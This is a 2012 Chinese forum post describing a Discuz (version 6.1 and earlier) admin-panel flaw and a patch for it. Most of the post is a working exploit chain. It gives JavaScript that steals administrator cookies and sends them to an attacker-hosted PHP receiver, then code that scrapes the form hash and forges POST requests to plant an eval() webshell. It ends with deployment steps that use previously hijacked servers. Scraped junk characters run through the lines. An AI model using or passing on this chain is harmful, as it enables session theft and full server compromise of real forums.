找回密码
 立即注册
查看: 4006|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell* n  {7 p" r! o* v
By racle @tian6.com  A8 n( s2 ^8 c) X
欢迎转帖.但请保留版权信息.5 N' b% [6 _% G  ?! ^  j
受影响版本iscuz<=6.1.0,gbk+utf+big5. K& x9 n& y# g: N, ?+ E9 E
+ b: a: O- a2 t! O; s" z6 n$ e
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
+ s2 U- [9 a! G& a" i+ x
6 u2 \" L6 {" |) j' z5 C* W) C& r" z- }8 h
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706% m1 w: ]( i2 _( r8 e
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
; a# @; N' A8 M& I6 f7 S5 M1 u, G; n: g  ^& N
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..' [5 H" T7 u6 h9 w- w
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
/ j8 ?5 G; ]% C3 n. j% v
/ f% ]' {1 O( Q5 y$ K9 K$ x; k/ Q3 [3 e3 v/ n
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------6 q' O( o2 [7 ?+ @% L% S; A" \

- E+ k, D: O  ]* T
: L) F" W1 F, X6 J% u# T! rproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
# V, a3 Q  R) T( E5 c# D& M2 E! U
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
4 U% [' C' g9 ~+ K* W* o* q; p4 B2 B# l- A; k+ t5 K+ R) ^
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ \3 n& \" R" M) ]* W1 ^9 |% E+ c8 t; |* W2 j0 S/ x
6 y) `$ O9 M' a: y( C
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {6 w0 }1 @- w* a

2 H" Z, i6 J/ R$ u( A* h        global $runwizardfile, $runwizardhistory;. N9 h5 T7 z8 R" w* ~, n; G

: k5 }7 ^3 i# y& s: m        $fp = fopen($runwizardfile, 'w');' f# A+ k, f' e# @

. Q% z0 K0 V- n6 ~3 I4 N+ G        fwrite($fp, serialize($runwizardhistory));
' Q' D5 e% N9 R) x! \8 e% c( R$ R# l1 Q8 a8 h& W
        fclose($fp);9 |/ Q2 V6 q8 }! f- \
. z! I( ]/ f8 x  A, C7 ~
}
$ R9 ]; W1 }: s, `  q复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
8 m! B  P1 K2 L4 F3 B7 x! p以下是修补的办法:function saverunwizardhistory() {
. J" \! P2 u6 k8 G; C0 Z/ U/ d& e& W7 _! A
        global $runwizardfile, $runwizardhistory;$ N4 F* d1 s4 F8 L8 k' T8 _, s  L8 v
/ G; n" n0 f: {# V; c( _5 Q
        $fp = fopen($runwizardfile, 'w');5 z# z2 N7 P7 [8 ~# P  k

- M- r# L7 ?0 H/ u- F        $s = '<?php exit;?>';  S$ o6 T. y/ T7 S8 P. w
! @) }+ S0 [3 T$ `9 Z: F
        $s .= serialize($runwizardhistory);! t9 K  s+ R% N6 o

1 r$ T% a$ M, s' }) K1 y: K        fwrite($fp, $s);
: H, X# }) {8 o
8 f- F/ g  u0 M: x5 S7 ]        fclose($fp);
) K- H5 ?9 H3 C2 I5 L* y: b- Y3 h- F4 Y- k& X$ C
}) I0 f: Y4 i3 J! \
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
" X) P: o" y, g! f1 u3 S0 W+ M, s$ J. X: B5 E$ G; @
8 i! j* D/ g9 z% O5 K3 t4 O* t4 U5 H
& s  ^! U, E  D  {+ \, S
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
- r: s6 @! u4 \5 T
7 `& O: _! p: O7 M- |1 L5 _+ A$ S' [7 d: h. G$ C  v7 z7 V
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.9 r% q/ Y0 S' u% a$ x
/ \+ [# D6 r) L
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
3 r) `+ M5 N$ a: i, `7 C  w/ ?2 e2 z2 `& G5 ~  q
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
; ]9 r! u3 {. |
- p! q7 E8 c  ~首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:7 \. T0 w2 H  R0 S' r1 B

, J* w; X+ g7 @1 [var url="http://目标网站/admincp.php";      ' x5 M1 E( f# ~

2 M/ ?1 L7 [7 s3 W, \/*获得cookies*/
' U* G/ D% }0 m3 C
8 |. U% K' A0 e2 b1 G# {function getURL(s) {
- r" k" p; D/ J* d7 h& @( P$ r8 @) g& c) X* {5 D
var image = new Image();
8 Z+ \; v  t' |
' Z# o0 _# T, H1 g- Aimage.style.width = 0;" t/ q" W4 d! `0 f
) T0 j& Z- ?: @, t/ z9 P- Q
image.style.height = 0;
  X! q3 E) J2 i8 N' y
! |) h' o/ ?# m% mimage.src = s;+ h' q, A  m1 A8 o7 I3 O/ x
2 i0 O) r( y1 |: K9 h( {: W
}1 P: u/ V+ ?5 `' Z) G6 U7 U$ h
# k" Y9 D9 }; V5 G/ b
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php5 U- C2 J* y, i! j- ]+ I$ T' M
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
3 _) T# t2 X% C* m: ^- v$ c复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 1 l) F3 U. w0 D* n; _9 U  O

& g: T$ \  p' l+ C1 u9 Y
4 X6 [" S& N8 L) Y) W获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";4 z+ {  p. |' U& z0 B  ~
. @( A5 b  g: Q. a* |

0 B3 S" S) C) E
0 p! v/ k9 v) X0 W" j: u/*hash*/6 w8 v. ^9 E9 T/ n9 Y0 s

4 @: A) [+ K! v% z0 w0 H2 \var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");9 J* N2 {6 S5 t0 j. @% a

* v# s3 P; j1 f6 z% |; sxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
9 S6 F3 a1 R7 \% I  ]  W5 K( u, G" y8 U# g' u# ~. R
xmlHttpReq.send();
8 X& p; z$ q" U& w' n! e7 C) m3 f7 Y* d  \7 Q
var resource = xmlHttpReq.responseText;
& J- M& [3 w1 g! U
+ ~5 g# W' c5 lvar numero = resource.search(/formhash/);
% ?" @$ J: R% t! @4 M6 b: h+ ]' [% u- O; u
var formhash=encodeURIComponent(resource.substr(numero+17,8));
( p' }; m' H! ]5 @! H; B! Z
# `' U( K) z# t! w: }6 g$ o, F$ m- {5 m/ Y
9 c; U( b- I5 F7 J
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
8 ?: H  F. X6 U9 u8 B$ _7 a4 `2 j' }5 _
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
+ a: `3 r4 E" l' Q, Y/ Z' x
( d; w/ Y% L  i' V% G+ e, \xmlHttpReq.setRequestHeader("Referer", url);
0 d% t) p2 i) [) D: @* a8 g/ {- K" G4 N' ^& T
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- K6 j" y" y! H+ D% ?6 A

. L6 Y+ @1 S- g  e; _3 B+ t  x; P! k8 RxmlHttpReq.setrequestheader("content-length",post.length); - `- y2 K# i+ G7 a
) y% ^- q: {  G1 Z+ q+ Z3 r, N/ A
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ' Y7 R: \7 e7 ]. I! N7 ~
/ ]7 \: d2 b; G) Q7 b
xmlHttpReq.send(post);//发送数据
% q- B4 K* H% M: {8 q1 x% D( V+ {复制代码这里HASH我假设正确,这样提交,也无须cookies' p9 l# r: H' h- V
  a( U% k' S  f
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
  T7 C* \1 d% P. P" `+ H, O
' X; I6 Q5 F/ J( v  `! g) |: Oif (!$sock) die("$errstr ($errno)\n");
5 Z8 s3 P  y( B) g5 Q* v" ?$ Q7 Y# M% j
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
, K/ _2 g9 J. _9 h7 K0 p& ]
% _8 a" |! K5 U7 D2 T5 h2 C$ {' ^
) z( W- o; W0 B) ^
4 P' q1 L8 [# C2 J& n& T) C' Yfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");8 u8 ~- |( `, z. i1 [- P! {
, C$ ?1 b$ t' L) B; q% w$ m7 [
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
. g! b5 d- L& j4 ?* o$ n: o8 M$ Z+ q. T
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
0 [8 Y& U+ J; a! D5 }" o+ y1 l. v: {+ q
fwrite($sock, "Accept-Language: zh-cn\r\n");+ _, d) U' i5 A, R' Q/ A1 |/ W2 r! \
8 A# `$ G- E8 j7 R
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");( n0 l" {& j; F$ ?! D6 t1 {+ h

1 Y0 y: X2 ^0 \* |fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");6 ~$ U) P# F4 t8 O+ `
( p5 l3 a+ N) F& Q) r. b) f$ |
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");# x1 W4 J( n7 k+ B

7 t& W2 M2 q4 _fwrite($sock, "Host: $url\r\n");( }: D& F1 ^7 Z! b5 ?
7 l# y* w% K( ]; W( q! w3 X, |
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
8 J7 U2 F/ R" `. {( v. G4 N0 L, I4 K2 m+ I8 Z, l
fwrite($sock, "Connection: Keep-Alive\r\n");6 o0 Y9 v* D: t
2 u$ h% k2 u$ h1 i. X6 h
fwrite($sock, "Cache-Control: no-cache\r\n");6 X. s" }3 f( S' C/ q
5 ^! d9 b" e! y* r
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");( ]4 c( N: ?; n3 D  R+ ]
) G6 H6 n; R. n* {# y7 m
fwrite($sock, $data);
6 c3 {" r" _; q5 A% d8 I. Y$ K" E
' G7 o  ^: c# `+ x9 \* ~. e0 Z1 `4 x5 A: G' V/ x

/ i( E4 j; |* i" D% {$headers = "";
1 ^; m# R! A/ w  Z5 n: f2 J# k  W* k0 p. }
while ($str = trim(fgets($sock, 4096)))/ \" S! H5 X$ s$ r0 g# Q

- _: @# @( T$ [+ j     $headers .= "$str\n";/ e* Z+ \' ?3 P8 E; N8 }
5 c6 l1 U# c8 n2 ?- `0 w. N
echo "\n";. g$ M7 G& V! a3 f% U" x
9 L) {. X2 O. D' m
$body = "";5 ]7 o0 p# b1 T0 y3 J

& u: y5 A3 M1 W/ g+ j+ {; swhile (!feof($sock)), }$ J% J/ R2 k4 g/ G. W& W: T) {- m

& P7 {4 ?9 }; k( i/ e1 A     $body .= fgets($sock, 4096);
- P: \5 r# W# B0 [7 O, U$ {# j- o8 Q: {+ N; e9 [9 x7 P
fclose($sock);
/ n$ K+ Z/ N' W& {& y
& C, m& L1 p  f& Pecho $body;+ X& k7 c0 _* r
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^7 l2 }* @2 ?5 ^, M

( X7 g. Z2 P# r& C3 O! l/ F- n' f2 ^* d% ~' ?% t1 ?
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------  A( t4 U7 g' g% x; `+ w) o  I( Z- J
% Q% m! G3 m$ V" F( f

% m& X$ i9 ~1 X. C8 |1 f: _. U! H1HP SOCKET利用方法首先打开racle.js
' [' `( k3 E4 V! e% |" @6 `# ~$ O) w$ M$ I, D+ E9 N  z" K  c
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home# e7 B" \& ~4 @* E% f3 L' F1 F
1 G9 v7 d6 q" E7 Q0 k! E- A

. S7 f% |4 i1 n% b) L
$ r- y. C7 `5 R  N) J# ~然后打开racle@tian6.php* H& M9 ^" I5 ^+ ^/ L

6 l6 E7 P7 g3 j9 Y$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
& D% h, L1 r; F. e" g7 f4 x2 a; m& [. q5 i
7 K$ _3 I; O3 K8 a& N4 X, g0 x

& H" W- U( w0 s5 R1 ]( f如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:( N/ X+ S$ t! @$ q. t' c/ z5 p5 g+ i

0 y& E9 x! d, w( w/ e) O" `; C  [getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
6 J/ A. l0 u$ `& b# z' @$ h( J, \! ?( c
3 V2 b9 w) }" @$ i) @
  ?9 h/ \  \2 [0 z
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
2 d) p$ z- O5 E. x0 g复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
  L0 K0 t2 t7 {6 A( ~- `# Q$ S/ f0 J8 r( B6 W) I
  \/ _0 N5 l8 x9 Q7 l

3 {- `( @/ \9 A+ A% ~如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
* F: ~3 e  }0 g0 R$ x# e/ B$ m  R8 y+ @! U$ Y% w( b8 {+ b
var formhash=encodeURIComponent(resource.substr(numero+17,8));
) Z0 f% r( M, {+ U# B. v. e: G
; s- Y1 |2 n3 q
3 D) \% n( B, R8 V) v$ P
9 q6 s' a! k8 A3 svar formhash=encodeURIComponent(resource.substr(numero+9,8));8 v  |7 J7 M  b9 E( x* T6 i
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
$ J& d1 ]$ j% w
. Y! B* P. w' c) B/ M+ a- F如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
7 b2 z, S$ }( p; u/ f: V) G1 n. g, u% l4 s4 x
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
" M* \% z! K! ~( M$ ?) O% y9 ]- D; I+ A* S6 ]5 s
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.4 F6 @: K2 k, k6 s' ~; N9 J4 V# `

& m, y* `) I4 A" J; s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表